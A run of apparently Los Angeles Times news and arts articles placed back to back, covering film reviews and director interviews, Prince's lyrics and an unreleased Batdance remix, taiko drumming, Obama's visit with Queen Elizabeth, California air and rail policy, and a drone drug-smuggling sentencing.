An impassioned Akerman tells Lambert that she aims for the opposite of what most good directors do: What I want is for people to feel the passing of time. Not many directors would open a film with a four-minute shot of a wind-battered tree, as Akerman does in No Home Movie. Later she returns to that setting, or one like it, with footage of a barren, rocky landscape, shot from the passenger seat of a car. To be on that ride with her is to feel the passing of time but also to connect an exquisite wildness to the soft pinks and diffuse light of Natalias orderly apartment.

In one of their transatlantic video chats, Akerman tells Natalia that she needs to sign off soon. You dont have to explain, her mother responds. We say goodbye and thats it. But they dont hang up; they hang on, enchanted, not wanting to let go.

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No Home Movie

In French, English and Spanish with English subtitles

Not rated

Running time: 1 hour, 53 minutes

Playing: Laemmle Monica Film Center, Santa Monica

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I Dont Belong Anywhere: The Cinema of Chantal Akerman

In French and English with English subtitles.

No rating

Running time: 1 hour, 8 minutes

Playing: Laemmle Monica Film Center, Santa Monica

calendar@latimes.com
When most filmmakers look back on their youth, they create stories tinged with a gauzy sense of soft-focus nostalgia. For the new film Green Room, writer-director Jeremy Saulnier opted to draw from his younger days in the hard-core punk rock scene and create an intense action thriller, a rough-and-tumble siege film that is more in the spirit of punk rock than it is about punk rock itself. Which is, of course, a super punk-rock thing to do.

My mission is to have my cake and eat it too, Saulnier said recently of his desire to make a film that served as both a tribute to his punk rock youth and functioned as a tense, engaging art-house genre movie.

What I wanted to do was use the punk and hard-core scene as a backdrop, to set the stage, he said, and then go back to the other joy of my youth, which was hard-core genre cinema, something really physical and tactile. It was about blending those two passions.

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As the movie opens, hard-core Virginia-based band the Aint Rights are scraping by on tour in the Pacific Northwest, not above siphoning gas from other cars to keep their van going. When a last-minute gig comes up, they reluctantly take it, even though it is at a remote roadhouse known to be frequented by racist skinheads. After a tense show, they stumble upon a dead body in their dressing room. As things escalate quickly, they find themselves locked in that room and battling for a way out.

Green Room, now playing in Los Angeles and soon expanding around the country, stars Anton Yelchin, Alia Shawkat, Joe Cole and Callum Turner as the band, with Imogen Poots as a skinhead girl trapped alongside them. Mark Webber and Macon Blair play punks of varying loyalties and sympathies with a menacing Patrick Stewart as the owner of the club and leader of the brutal skinhead faction.

Saulnier, originally from Virginia but a longtime resident of Brooklyn, N.Y., was on the phone recently from Portland, Ore., when he was there for the local premiere of the movie. Saulniers first feature, the horror-comedy Murder Party, won the audience award when it premiered at the 2007 Slamdance Film Festival. It was his next feature, 2013s revenge thriller Blue Ruin, that would really launch his career, winning a prize when it premiered in the Directors Fortnight at Cannes and being nominated for a Spirit Award.

Blue Ruin was also a film to benefit from new hybrid forms of movie releases, finding an audience through digital platforms that far exceeded its theatrical grosses. Its popularity created a high level of expectation for Green Room, which also premiered in the Directors Fortnight before going on to play numerous other festivals, including Toronto, Fantastic Fest and Sundance.

The momentum created by Blue Ruin led directly to Green Room in that Saulnier was suddenly fielding offers for bigger budgeted studio projects and wanted to make one last film quickly and, in his words, unfiltered.

The span from beginning the script to the end of filming, in the fall of 2014, was essentially one year. Saulnier wanted the script to maintain the energy of a first draft, so while he knew the setting, the siege and the ending when he began writing, his main goal was to surprise himself while filling in the gaps.

Once the band is trapped in the dressing room, the film develops an escalating tension between their need to get out and the invention and imagination of the obstacles and solutions Saulnier creates for them.

For Yelchin, part of what makes the movie so powerful is how ultimately senseless the violent maelstrom really is that the Aint Rights find themselves caught in.

There has to be something bigger than they walked into this ... and now theyre stuck, said Yelchin. And there really isnt. There is no why. They are in the wrong place at the wrong time, and they are dealing with someone who felt the only way to solve a problem was a very pragmatic approach. And I find that heartbreaking.

That pragmatic approach is the method of Stewarts character, Darcy, a seemingly legitimate small-town businessman with a series of secrets he needs to keep compartmentalized. Saulnier noted the characters brutal indifference, while proudly adding that by having Stewart turn in his quietest performance of all time on stage or screen, the actor has also never been more menacing.

With Stewart well known for his stalwart, upstanding heroic characters in Star Trek: The Next Generation and the X-Men series, many have remarked on his villainous turn in Green Room as a real surprise. So, is Stewart surprised by the reactions?

Actually, Im irritated, he said with a sly smile while sitting with Yelchin for a recent interview in Los Angeles. Ive always considered myself to be an actor of diversity. My first acting job was in a repertory company in the U.K., and we did a new play every second Monday.

Six years ago I was in a really successful and terrifying production of Macbeth. So its not strange to me, he said. My blessing and my curse is that Ive been gifted with two franchises in which I play upright, decent, intelligent, compassionate human beings. And thats who people think I am. Aint true.

With the quiet power of Stewarts performance at its center, Green Room can leave audiences feeling drained, emotionally and energy-wise, its barreling intensity just wearing people out. Without revealing who, its no spoiler to say that at least someone is still standing at the end, and that Saulnier hopes there is some glimmer of light on the other side.

I definitely designed it as an exercise in tension building, said Saulnier, trying to reach the involuntary nervous system. If you can exhaust people, make them feel imperiled, then you can also make them feel exhilarated when they survive. Its meant to target the heart and the guts in a way that you feel like you are not in control.

Its a pretty visceral experience, added Yelchin. You can intellectualize it if you want. Jeremys cinema is open to that. But on a very basic level, its just gnarly.

mark.Olsen@latimes.com

Follow on Twitter: @IndieFocus
How did David Hockney, born and raised in working-class Yorkshire, become perhaps the modern painter most associated with Los Angeles? The lively, affectionate documentary Hockney doesnt necessarily answer that question, but it provides entertaining glimpses of the man just the same.

As directed by Randall Wright, who did a previous film on fellow British artist Lucien Freud, Hockney is less interested in providing a conventional top-to-bottom narrative than in capturing a sense of who Hockney is and what is important to him.

Made with considerable cooperation from the artist, who will turn 79 in July, including access to his personal archive of photographs and film, Hockney lets us hear from the mans friends, listens to theories about what drives him, and most of all shows us his art in all its fecund diversity.

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For, like Pablo Picasso, the artist he feels closest to, Hockney worked in a variety of vivid, playful, always colorful styles. Especially as he got more and more successful, he very much, as a friend puts it, does not want to become a machine for producing items of value.

Born in 1937 in Bradford in East Yorkshire, Hockneys earliest memories are of taking shelter in a cupboard underneath his homes staircase during a World War II German bombing blitz.

Though the documentary (which is light on dates and specifics) doesnt mention it, his father was a conscientious objector, which made it especially difficult for the family.

From the first time friends encountered him in art school, Hockney, blessed with a puckish sense of humor and a questioning, questing intelligence, always had a sense of himself as someone who mattered. A gay man who came of age in what he called the bohemia of Londons art scene, he always wanted to be on the side of the unexpected.

On an early visit to New York, for instance, he saw a TV commercial for Clairol that said everybody should go blond and promptly took that advice. A committed smoker, he took umbrage at the smoking deaths tote board on a Los Angeles billboard and thought about putting up a competing one across the street that read Death Awaits You Even If You Dont Smoke.

Hockney is strongest in the intimate glimpses it offers of the artists personal life, especially his close friendship with the influential curator Henry Geldzahler, who is shown in home movie footage hugging Hockney when the artist was distraught over a romantic breakup.

Hockney moved to Los Angeles in 1963 and promptly fell in love with the place, buying a car and learning to drive during his first week here. The city had, he felt, the energy of America with the Mediterranean thrown in, a wonderful combination.

Hockneys cool, private swimming pool paintings (Theyre landscapes waiting for people to arrive, one critic wrote, even when the people are already there) are as iconic as Los Angeles art gets, and Hockney features a clip explaining that the namesake splash in A Bigger Splash took him seven full days to execute.

Hockneys creativity went in many other directions as well, including set design for numerous operas, starting with Stravinskys The Rakes Progress, as well as a project called Blue Guitar inspired by both Picassos The Old Guitarist and the Wallace Stevens poem it called forth.

Though best known as a painter, some of Hockneys most interesting thoughts  and projects  have to do with photographs and the collages he made with them. (We even see footage of him going to a one-hour photo kiosk to pick up the latest batch.)

Asked by an interviewer why he thought he was so popular, Hockney replied, Im interested in ways of looking, and everyone does look, which is as good an explanation as any for the artists remarkable success.

kenneth.turan@latimes.com
Much has already been written about Prince the composer, Prince the performer and band leader, Prince the musical pioneer. His skills at crafting a pop song and making it just weird enough to jump out amid lesser specimens was unparalleled.

Criminally less celebrated are his lyrics. Where aged, respected songwriters like Bob Dylan, Patti Smith, Bruce Springsteen and Elvis Costello are praised for their language, few Prince appreciations have focused on his skills as a wordsmith. But Prince was as eloquent with the pen as those bards. Could it be that by wrapping his talent beneath spangled pantsuits and a high-heeled facade rather than in blue jeans or well-tailored suits, Prince has been given short shrift as a lyricist?

Princes primo opening lines, for example, are some of the best scene-setters in pop: I guess I should have known by the way you parked your car sideways that it wouldnt last, from Little Red Corvette, contains a novels worth of information about a relationship, a rendezvous and its futility.

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Dig, if you will, a picture of you and I engaged in a kiss, he offers to open When Doves Cry, a line that introduces longing and titillation in the form of a sensual snapshot.

I was dreaming when I wrote this. Forgive me if it goes astray, he sang to open 1999. The conversational intimacy of his initial line makes you feel like hes introducing the song to you from across a heart-shaped bed.

The backhanded compliment that begins Kiss, You dont have to be beautiful to turn me on, is a glimpse at Prince at his wittiest. When you were mine I gave you all of my money is a funny kickoff to one of Princes greatest works.

Conversely, Nobody got in anybodys way  so I guess you could say it was a good day, as he offers in Baltimore, delivers a protest that name-checks Michael Brown and Freddie Gray.

Prince was equally adept at spinning musical yarns through character and narrative. Raspberry Beret is set at a five-and-dime and details a sexual quickie via a motorcycle ride beneath overcast skies to old man Johnsons farm. In the beefy third verse, when the lovers are in a barn doing the deed, Prince delivers unparalleled poeticism:

The rain sounds so cool when it hits the barn roof

And the horses wonder who you are

Thunder drowns out what the lightning sees

You feel like a movie star

The great Darling Nikki is Princes raunchy version of the Beatles Norwegian Wood. But where John Lennon recalled that I once had a girl, or should I say, she once had me, Prince gives his lover a name: I met a girl named Nikki. I guess you could say she was a sex fiend.

In Mountains, he begins the majestic banger with the line, Once upon a time in a land called Fantasy / Seventeen mountains stood so high. You can imagine George R.R. Martin taking the line and running with it.

When Prince explored his own identity in Controversy, he offered it through the refracted lens of the media. He characterized himself while coyly eluding any hint of a response: I just cant believe all the things people say / Am I black or white? / Am I straight or gay? Do I believe in God? Do I believe in me?

The title track to Sign O the Times, his 1987 double-LP masterwork, presents a keen, heartbreaking glimpse at the death of the 1980s amid the AIDS crisis and gang violence:

In France a skinny man

Died of a big disease with a little name

By chance his girlfriend came across a needle

And soon she did the same

At home there are 17-year-old boys

And their idea of fun

Is being in a gang called the Disciples

High on crack, totin a machine gun

Starfish and Coffee, also from Sign O the Times, is a semi-autobiographical love letter to one Cynthia Rose, who wore the prettiest dress with different color socks. It takes place in a school cafeteria just before classes start.

It was 7:45 we were all in line

To greet the teacher Miss Cathleen

First was Kevin, then came Lucy, third in line was me

All of us were ordinary compared to Cynthia Rose

She always stood at the back of the line

A smile beneath her nose

Her favorite number was 20 and every single day

If you asked her what she had for breakfast

This is what shed say

Starfish and coffee

Maple syrup and jam

Butterscotch clouds, a tangerine

And a side order of ham.

Prince playlist

A side order of ham?? Only Prince.

Every Friday night I call your butt up on the phone / A deeper voice answers and says youre not at home, he sings with bitter sass on Irresistible Bitch.

Manic Monday, considered a Prince toss-away when it hit for the Bangles, opens with a brilliantly odd first verse.

Six oclock already, I was just in the middle of a dream

I was kissing Valentino by a crystal blue Italian stream

But I cant be late cause then I guess I just wont get paid

These are the days when you wish your bed was already made

The mystical Seven is one of the artists toughest to crack. A song that may or may not be about the worlds seven major religions, its opening verse will have Prince scholars debating for decades to come.

All seven and well watch them fall

They stand in the way of love

And we will smoke them all

With an intellect and a savoir-faire

No one in the whole universe

Will ever compare.

The thing about Prince is that these (diamonds and) pearls of language are spread throughout the artists work. This isnt a man who suffered cliches lightly, or traded in lazy imagery. One could cut-and-paste shimmering lyrics to offer further proof all day.

His recent song Whitecaps recalls a strange moment: I saw a black butterfly lose its wings today / Cinched by the candle underneath the archway.

Tragedy writ tiny, the lines are nestled within a song unheard by all but the diehard fans. If theres any solace to be had from Princes death, its that all those perfectly rendered ideas remain.

Follow Randall Roberts on Instagram and Twitter because its free and it makes me look good to my bosses: @liledit

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Inside Paisley Park: Purple everything and lengthy talks with Prince
So, lets just get this out of the way: My favorite Prince album is the Batman soundtrack.

Its criminally underrated. Its dark, its frantic and its headlined by Batdance, a wild track that flips Bruce Wayne, Vicki Vale and Joker samples into a sexually-charged future funk opera.

I just wish the world couldve heard the remix of Batdance, which features a guest rap verse from Big Daddy Kane. Its wildly different -- stripped-down percussion, vocals from Prince that werent in the original, riffs on the old Batman TV theme, and a furious, wailing synth solo.

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Prince apparently loved it, but Warner Brothers wouldnt release it. But why?

I wanted to know what happened to this phantom recording. So I tracked down the man behind the mix: a legendary producer and remixer named John Luongo, who got his start as one of the first DJs of the disco era.

We talked about working with Big Daddy Kane, why he made the song so different, and whether or not he thinks his mix will ever see an official release.

Heres our conversation, lightly edited for clarity:

How did Prince know you?

Id done some work for Prince before. He had a record hed produced with Jill Jones, called For Love, and Id done a remix of that, and he really liked it. So one day I was on a plane, and a Warner Bros. executive recognized me. He came up to me and said, I have a project for you. When he told me it was Prince, I said yes, immediately.

Whoa. Just like that?

Things used to work like that back then! It wasnt uncommon for me to bump into somebody and get offered a mix or a production. It was more open back then. People were open to spontaneous things happening. Today its a little more contrived.

Aside from that track you remixed for him, were you listening to a lot of Prince at the time?

Oh, of course. He was a genius, everyone knew that. A lot of people dont know this, but he was a constant inventor. He was showing us new ways to use instruments that most people could barely play. He discovered that if you took the side stick sound on a Linn Drum machine, and you toned it down, it would make this beautiful thwoonk sound. Kind of like a kick drum. And thats how he made the percussion sounds on When Doves Cry. And everybody copied him.

He was brilliant. I followed him, I studied him. I loved his music, I loved his creativity. I loved the fact that you never knew what he was going to do. And now I was doing something for one of the most creative geniuses of our time, whose only criteria was that you had to do something that was brilliant and never before heard by anybody.

When Warner Bros. gave you the job, was the Batman soundtrack album already out?

No, it wasnt out yet. Prince was still in the process of working on it, so I had all his raw recordings. I got vocals that werent included in his original Batdance song, but that I used in my mix.

But Warner Bros. gave me all these restrictions. I couldnt use certain lines from the Batman movie. I wanted to use little clips of dialogue, but I had to find out what lines in the movie had been cleared for usage. ...

Why?

Because they had to deal with people like Jack Nicholson. If you used certain lines, he said Jack might be entitled to a royalty. So they were worried whether hed grant permission for that. It was like a spiderweb of rules. As if it wasnt complicated enough, trying to make a record for Prince, who I knew was the one of most demanding people in the world. No pressure, right? [laughs].

How did you get Big Daddy Kane on the record?

He was on a label owned by Warner Bros. That made it easier. But really, he had a great reputation. I knew there was a great respect for him in the community. And I think his work and persona was something that Prince appreciated, too. He had a melodic quality to him, which some rappers really didnt. You put all that together, and it made him a really attractive addition. So when he got to the studio, I gave him some specifications, but everything was all of his own creation, right on the spot. He was brilliant, such a professional to work with.

So what happened to the song?

The whole thing, recording, mix and editing, took a day and a half. But I had a deadline! I remember FedEx was there waiting as I did my best to finish up, so we could make the next plane to rush it over to L.A. and Minnesota to let Warner Bros. and Prince hear what I had done. ... And then Warner Bros. said they didnt like it; it was too different. And that was it. They didnt release it.

Thats it? Do you still have it somewhere?

Oh, Im sure I have it in storage -- Im going to go look for it tomorrow. As a matter of fact, Im pretty sure I have at least one other instrumental remix of the Batdance record that I didnt even send to Warner Bros. I used to do that, just make things for myself, put little twists in them that I knew the label wouldnt like, but if I had my way, its what I would do. And I should have some of those around. Theres a very good chance I have some Prince stuff that never got released anywhere, not even on bootlegs.

It would be cool to hear those too. I wonder how different those are from the Big Daddy Kane version I heard.

Wait, have you heard it?

Yeah, a really low-quality copy. Its on the Internet.

Wow, thanks a lot. [laughs] Youre ruining my day! Youve heard my song, my song that I cant even get an official copy of! I havent heard it in years.

... So, did you like it?

I do. But if Im being really blunt, I can see why Warner Bros. didnt like it. The rap probably seemed like a gamble to them, and the rest of the song is pretty different from the original material.

It is. But that was on purpose. Hey, I was making that record for Prince! And the only requirements Id been given from him personally were to do something different. Something that had never been done before. So I did it.

This guy is one of the greatest creators, the greatest innovators, someone who pushes the envelope. Lives outside the box. I could have made a very safe mix that Warner would have loved. But if I didnt take a shot at it, I couldnt respect myself.

Are you sad that your Batdance remix was never released? Do you wish you played it a little safer, and made it less weird?

No, I have no regrets about that record. I wanted Prince to like it. I really didnt care if Warner Bros. liked it. I wanted the guy who I admired to admire something that I had done for him.

And so when one of my friends, this engineer named Sal Greco who worked with Prince at Paisley Park, told me that Prince had heard the mix, and that he loved it, that was enough for me. That was the greatest honor in the world. I would do it again in a heartbeat. Wouldnt change a thing.

Do you think youll ever release the record?

Id love to, but I cant just put it out. Id probably spend four years in Sing Sing [laughs]. Maybe, if I can find it in my storage, I could take it over to Warner Bros. and say you know what, how about we do something with this? And release it with their blessings. I would be very open for that.

That would be pretty cool.

You know, Ive been in this business for over 30 years. I really love the artists, the people in it. I want to show things that show appreciation. I think a lot of his fans would love it. Its a piece of history, this song that Prince loved, but that wasnt allowed to come out. Theres gotta be a lot of songs like that. And maybe theres the chance that they can see the light of day. It would really be nice.

MORE:

Funky? Soulful? Of course. But Prince was a brilliant lyricist, too

What todays artists learned from Princes approach to the industry

Can we all agree that nothing at Coachella will beat Prince covering Radioheads Creep?
I took up Japanese taiko drumming because it looked fierce. Legs are planted wide as arms wield bachi drumsticks in broad arcs, striking barrel drums in communal precision.

Everyone wears a scowl that borders on delight.

For me, taiko felt like a way to express aggression in a productive way  in a world that increasingly lacks such outlets.

I discovered that psychological benefit, along with other health rewards, in a 12-week class held by TaikoProject in downtown Los Angeles.

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Taiko offers an excellent cardio workout, builds endurance and employs most joints. (Genaro Molina / Los Angeles Times)

Taiko originated in feudal Japan partly as a way to inspire troops, synchronize marches and terrorize enemies. Todays taiko ensembles, called kumi-daiko, were developed in Japan in the early 1950s and were brought to the U.S. in the late 1960s.

What attracts most people to taiko is the reverberation  so deep and thunderous, said TaikoProjects Artistic Director Masato Baba. It hits them right in the gut, the heart.

Heres how taiko drumming can help you sharpen up, inside and out:

Excellent cardio workout

Taiko is good exercise; it offers an excellent cardio workout, builds endurance and employs most joints. Masato Baba, left, leads a TaikoProject drumming class in L.A.'s Little Tokyo. (Genaro Molina / Los Angeles Times)

Taiko begins with the all-important leg stance  wide and slightly crouched  what Baba terms a drummers strong roots that enable the expansive arm strikes. Core strength, in Japanese called hara (the stomach region), is emphasized. To master correct form, the exacting strikes are first broken down into four movements.

We played on chu-daiko drums, placed at 45-degree angles, and in the naname or slant style, with the body beside the drum. I soon learned that taiko is a meticulous, highly systematic art form, and yet the body must be kept loose to engage with the rhythmic flow, the communal beat.

Taiko offers an excellent cardio workout, builds endurance and employs most joints. After increasingly accelerated rounds of a four-part kata drill, our group of 10 was exhausted.

Builds mental stamina

Julia Hawkinson, from left, Susy Woo, Mariko Nishizu and Sally Kikuchi participate in a TaikoProject drumming class. (Genaro Molina / Los Angeles Times)

Theres plenty to keep track of when playing taiko: correct form; knowing taikos oral musical notation, called kuchi shoga; recalling memorized beat patterns; counting rhythms; keeping time with the foundational beat set by the leader, called jiuchi or ji; sounding out kiai, the spirited vocalizations (aiyah!) used to energize the group; and syncing with everyone, among other details.

In short, you have to be sharp to play taiko.

Taiko also improves coordination and dexterity. As the class progressed, we added stylized arm movements (circles and pointing) as opposite arms struck drums. The interlocking patterns (a different rhythmic movement for each arm) that TaikoProject performs can grow complex. The group, founded in 2000, is known for pushing taikos traditional bounds.

Emotional and psychological benefits

Participants bow at the end of a TaikoProject drumming class. (Genaro Molina / Los Angeles Times)

The sense of congruity with others that taiko offers is inescapable. Playing in rhythmic union naturally creates a sense of belonging and community. The perhaps overused trope of becoming one with others actually happens when playing in a taiko ensemble. Sometimes I would forget to count the rhythms because I had begun to feel them, incorporate them.

Taiko demands that you blend with others in a tenacious, beat-by-beat manner. At times, you quite literally forget yourself.

Spiritual teachers stress the importance of mindfulness and what has become the trendy Art of the Now. Perhaps then the simplest way to be present is this:

Go beat a drum with others. And dont forget your earplugs.

TaikoProject offers 12-week classes for beginner and intermediate students, as well as for children: taikoproject.com

masato.mazbaba@gmail.com

health@latimes.com
After the intrigue of their first encounter and the formality of the second, President Obama and Queen Elizabeth II settled in for a decidedly low-key lunch Friday to mark the British monarchs 90th birthday.

At Windsor Castle some 20 miles west of Buckingham Palace, site of the last two meetings, Elizabeth welcomed both the president and First Lady Michelle Obama with conspicuous informality. Prince Philip even picked up the couple in a Range Rover when they touched down after a Marine One trip from central London.

Full coverage of Queen Elizabeths 90th birthday

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With Obama in the passenger seat and the queen alongside Michelle Obama in the back, the foursome made the short trip onto the meticulous grounds of the 11th-century castle to pose for a photo briefly in the Oak Room, full of mirrors, the queen was heard saying, then sitting down for a meal.

The trip appeared designed to signal both the respect and affection the queen is said to have for Obama, the 12th U.S. president to serve during her historic reign, on what is likely his final trip to the United Kingdom as he nears the end of his presidency.

Obama also met with Prime Minister David Cameron followed by a joint news conference, where he repeated his case for Britons to vote against a referendum over whether to sever ties with the European Union. Obama acknowledged controversy here over his meddling in internal affairs, but wrote in the Daily Telegraph that he had another reason to visit.

I confess: I do want to wish Her Majesty a happy birthday in person, he said.

Speaking to reporters, Obama called the queen a source of inspiration and truly one of my favorite people.

She is an astonishing person and a real jewel to the world, not just to the United Kingdom, he said.

The Obamas first met the queen at Buckingham Palace just months after the president took office in 2009. The stay was marked by what seemed to be a breach of royal protocol when the queen and Michelle Obama walked briefly with arms around one another. The president gave the long-reigning British leader an iPod, also raising eyebrows.

The Obamas returned for a state dinner two years later, where another minor row erupted as Obama briefly continued to deliver a toast he was giving over the first notes of God Save the Queen. The presidents gifts that time were more elaborate, though, and included a collection of rare memorabilia and photographs highlighting the 1939 state visit to the U.S. by King George VI, Elizabeths father.

On Friday, for a roughly hour-long lunch celebrating the queens birthday, Obama brought another gift meant to invoke nostalgia. In a rectangular box wrapped in gold paper embossed with the presidential seal was a custom photo album that documented her meetings with the 11 presidents shes visited with personally.

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Obamas time at Downing Street will be sandwiched between royal meals. The Obamas were to attend dinner at Kensington Palace with the Duke and Duchess of Cambridge as well as Prince Harry.

Whether dinner could top the experience earlier with the queen and her husband seemed unlikely.

I have never been driven by a Duke of Edinburgh before, Obama said of the short jaunt in the Range Rover. I can report that it was very smooth riding.

Follow @mikememoli for more coverage of the presidents trip.

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It has been called the most important climate change agency in the world, with a budget that might soon reach $1 billion, a four-fold increase in the last decade.

The California Air Resources Boards unremarkable name belies its power to influence how much you pay at the gas pump and the car youll be driving in 30 years.

The agencys growing influence over environmental issues and the economy has increasingly led to tension among state lawmakers and Gov. Jerry Brown. The governor has counted on the agency and its longtime leader, Mary Nichols, to put into practice his sweeping goals to combat climate change around the world.

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But its the Air Resources Boards efforts to deal with pollution closer to home that led to the most recent move by the Legislature to loosen the governors grip over the agency  a decision that could reshape how the state plans to meet its goals for dramatically reducing greenhouse gas emissions.

Last year, lawmakers passed a bill to add two members to the board  the first ones ever to not be selected by the governor. The new members of the 14-person board, chosen by the leaders of the Assembly and Senate, are supposed to represent low-income neighborhoods, which are often disproportionately affected by pollution. Advocates from those communities often felt the board failed to prioritize their needs and didnt have the resources to compete with others affected by the agencys policies.

The Legislature got tired of folks saying, We go to the air board and were treated like everyone else, said Dean Florez, a former Democratic state senator from the San Joaquin Valley who was appointed to one of the seats. Industry is there with all their lobbyists and their studies. And we had nothing.

Florez and the other newly appointed board member, San Diego environmental health advocate Diane Takvorian, took their seats in February and said they plan to push for big changes to increase the agencys attention to disadvantaged communities. Its only one effort by the Legislature to assert itself.

Lawmakers criticized the Air Resources Boards budgeting and accountability over the 50 transportation-related programs it runs at a February joint oversight hearing, including measures to boost zero-emissions vehicles and regulate tire pressure. The board does not track spending or set goals for most individual programs, making it impossible for the Legislature to figure out if the programs are successful, according to a legislative committee analysis.

We spend a lot of money on these programs, Sen. Richard Roth (D-Riverside) said, pointing at Air Resources Board executives during the hearing. We impact a lot of people. We impact a lot of businesses. And I think its incumbent on those of you there to set these goals and objectives and milestones, to measure progress and to come back and tell us whether were winning or losing the battle.

The Air Resources Boards authority has grown substantially in the five decades since it was created by former Gov. Ronald Reagan. The agencys early mission was to combat car pollution and its efforts are credited with major improvements to Los Angeles smoggy skies.

Ten years ago, lawmakers passed AB 32, the landmark effort to combat climate change by cutting the states greenhouse gas emissions to 1990 levels by 2020. The Air Resources Board was put in charge of making sure the mandate succeeded. Other laws, plus a series of executive actions from former Gov. Arnold Schwarzenegger and Brown, have expanded the states climate change targets as well as the Air Resources Boards reach.

Nichols, the boards chairwoman, for instance, has said all internal combustion engine cars will need to be off California roads by mid-century in favor of zero- or near-zero-emission models to meet Browns new climate change goals.

Greater responsibility for the Air Resources Board has also come with more money. A decade ago, the board had a $240-million budget. Browns proposed spending plan for next year would allocate nearly $1 billion to the agency.

Lets save California before we save the world.  Dean Florez, a new member of the California Air Resources Board

Under the law, the Air Resources Board is supposed to pay particular attention to low-income neighborhoods. More than 7 million Californians live in highly polluted and socioeconomically vulnerable areas, which put them at higher risk for cancer, asthma, low-birth weights and other negative health effects, according to state research.

Amy Vanderwarker, co-director of the California Environmental Justice Alliance umbrella group of advocates across the state, said that during initial implementation of AB 32, the Air Resources Board largely disregarded an environmental justice advisory committees recommendations for strengthening its climate change regulations on industrial emissions, refineries and power plants.

We just really found that, at the end of the day, the Air Resources Board put those recommendations on a shelf and didnt really do anything with them, Vanderwarker said.

Those concerns feed into an impression that the agency wasnt giving low-income communities enough attention, particularly in its climate change program.

Florez and Takvorian both said that while the board has been open to concerns from the environmental justice community, it has only been as an afterthought.

It needs to be baked into the culture of the agency, Takvorian said.

The pair also expects to take aim at a key part of the agencys strategy to reduce climate change.

As part of its cap-and-trade program, the agency wants to allow polluters to offset some of their emissions by protecting rainforests in Brazil and other countries. Doing so, the agency argues, tackles one of the largest global carbon emission problems, which benefits California.

But Florez and Takvorian said the agencys focus should instead be solely on California.

Lets save California before we save the world, Florez said.

Nichols defended the agencys efforts to support disadvantaged communities, noting its history of cutting industrial toxins and diesel pollution. But the agency hasnt communicated well with those neighborhoods as its authority has expanded beyond its original mandate.

If youre sitting in Barrio Logan [in San Diego] or East Palo Alto and you hear about this big powerful agency on climate change, but you dont see that agency in your community, that is an area of real concern, Nichols said.

Senate President Pro Tem Kevin de Leon (D-Los Angeles) backs the states ambitious climate change goals, but also advocates for a greater role for the Legislature on the Air Resources Board.

Florez and Takvorian, said De Leon, will ensure climate change dollars go toward the most polluted communities and keep lawmakers informed.

Theyre our voice, De Leon said. Theyre our eyes and ears on the [Air Resources] Board.

liam.dillon@latimes.com

Twitter: @dillonliam



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Updates from Sacramento
The state rail authority, tentatively bowing to demands of the northern San Joaquin Valley, now intends to link Merced to the initial operating segment of the California bullet train, a decision that could add more than $1 billion to that phase of the cash-strapped project.

The decision, unveiled at a board meeting Thursday, was part of 22 pages of revisions to the agencys draft 2016 business plan. The changes follow extensive criticism and comment about the draft plan, released in February, by legislators, regional officials and independent experts.

The board put off approval of the business plan until next week.

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The revisions attempt to address a host of concerns, including a lack of specificity about how the state would bridge a $43.5-billion gap in funding the $64-billion project and about the ultimate plan to connect the rail to end points in San Diego and Sacramento.

The rail authority staff did not find any major new sources of funding but examined more closely how it might tap into private investments and additional federal funding.

The business plan lays out a strategy for building an initial operating segment by 2025 that would run from San Jose to the Central Valley for $20.5 billion. That segment potentially could be funded from existing federal grants, greenhouse gas fees and bonds approved by voters in 2008.

Potential political, legal and economic risks could undermine each of those pools of money, though the rail authoritys business plan revisions take a positive view.

There is now a clear path forward for funding the initial operating line from the Silicon Valley to the Central Valley with public funds that have been committed by the Legislature and the federal government, the plan says.

It is a significant departure from an earlier strategy to build an initial line from Burbank to the Central Valley by 2022 for $31 billion. Although Southern California will not be part of the initial system, the state rail authority agreed to invest $2 billion in passenger rail improvements, but the source of that funding is also uncertain.

After it released its initial plan and proposed to build first in northern California, cities, counties and the regional authority in the northern San Joaquin Valley strongly objected to being left out of the initial operating segment. The train route would go from San Jose to Gilroy and then east to Chowchilla, passing about 20 miles south of Merced on its way to Fresno.

Now, the rail authority staff proposes building a single track to Merced that would eventually be part of a later route to Sacramento. The rail authority did not disclose a cost for those new miles of track or for building a station in Merced, explaining that it would strive to identify cost savings to pay for the additional work.

A technical backup document that provides detailed cost estimates for the project indicates that 20 miles of track would cost $1 billion and a large crossover structure, known in railroading as WYE, would cost an additional $1.2 billion. Some portion of that structure would be required with or without the Merced stub.

The additional track would not add to the final cost of the San Francisco to Anaheim system, rail authority spokeswoman Lisa Marie Alley said.

Officials and private individuals from across California attended the meeting in San Jose to offer comments.

Stanislaus County Supervisor Vito Chelsea said the new plan would get his support.

Bakersfield planning director Jacqui Kitchen expressed concern that the initial operating segment would not reach her city, though the rail authority is trying to find $2.9 billion to extend the line from a farm field north of Shafter to the city.

Citizen groups from San Jose said the existing plan for the rail would further decades of damage to their neighborhoods from transportation projects.

Several UC Merced students praised the project, particularly the plan to include Merced.

A Bay Area watchdog group said the state is making a grave error in planning for the initial segment, arguing that the authority would do better to build a line from Fresno to San Jose by going north through the Altamont Pass. The existing plan runs a high risk of disastrously low ridership, the group said.

Under the 2008 bond act, the rail authority must give the business plan to the Legislature by May 1.

ralph.vartabedian@latimes.com

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Brayan Valle was looking to buy some marijuana.

When he reached out to a business associate of his uncles, a drug connection, Valle became involved in a much more serious offense. Rather than sell Valle the marijuana, the associate asked for his help to smuggle drugs over the U.S.-Mexico border  by drone.

The case signals the first drug-smuggling drone seizure along the Southwest border.

On Thursday, Valle, now 21, was sentenced to three years in prison for his role in operating the remote-controlled drone and collecting 30 pounds of heroin from a Calexico-area field in April 2015.

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Use of drones appears to be on the horizon, U.S. District Court Judge Gonzalo Curiel said before announcing the sentence. The court needs to be clear these cases present considerable danger to our community.

Authorities say law enforcement agencies since have intercepted at least two more drones carrying drugs, including one seizure near Yuma, Ariz., that netted about 30 pounds of marijuana in January. Doubts have been raised, however, as to how popular the smuggling method could become, given how little weight drones can carry.

In Valles case, it took hours for the drone to make four drops over the border fence, Assistant U.S. Atty. Sherri Hobson said.

The case started when Valle approached his uncles friend about obtaining some marijuana, defense lawyer Kathryn Thickstun said. The friend instead suggested helping him smuggle marijuana over the border in exchange for some.

Valle agreed but later tried to back out, Thickstun said. She said he was told he had no choice. Valle recruited a friend from high school whom hed known only a month, Jonathan Elias, to drive him to and from the drop-off point.

The smugglers provided Valle with cellphones to coordinate the transaction via the encrypted WhatsApp messaging application, as well as the drones remote control, which would enable him to release the drugs from the drones claw, prosecutors said.

